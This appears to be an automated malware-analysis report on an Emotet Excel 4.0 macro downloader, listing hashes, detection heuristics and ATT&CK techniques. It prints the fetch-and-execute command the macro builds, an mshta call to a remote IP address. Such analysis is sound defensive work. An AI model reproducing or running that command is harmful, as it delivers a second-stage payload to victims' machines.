Emotet — Office (OOXML) / .XLSM malware analysis

Static analysis result for SHA-256 6811543ba47fff98…

MALICIOUS

Office (OOXML) / .XLSM

30.8 KB Created: 2021-12-07 22:55:30 UTC Authoring application: Microsoft Excel 16.0300
MD5: d8614f52bcc20bd665afd0d919795670 SHA-1: 8aef4a013231cb280ceaf1ce2593e86c45f1c47c SHA-256: 6811543ba47fff984680204eb7ab7cd013d821122f8de8762435ccc270c09cca
250 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file is an XLSM document containing Excel 4.0 macros. These macros utilize dangerous functions like EXEC and HALT to call out to a remote URL, specifically 'http://87.251.85.100/PP/pp.html', and execute a command. The command constructed is 'cmd /c mshta http://87.251.85.100/PP/pp.html', indicating the download and execution of a second-stage payload. ClamAV also identifies this as an Emotet downloader.

Heuristics 6

  • Excel 4.0 macro sheet (1 sheet(s)) critical OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • ClamAV: Xls.Downloader.EmotetExcel122100-9913103-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.EmotetExcel122100-9913103-0
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 3 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main
    • http://schemas.microsoft.com/office/excel/2006/main
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships
    • http://schemas.openxmlformats.org/markup-compatibility/2006
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revision
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml
690db55fb5022acc64ec8ef4eaf1bcc7016609d8a4f72fbd5380c899e78c25f9		 xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1779 bytes

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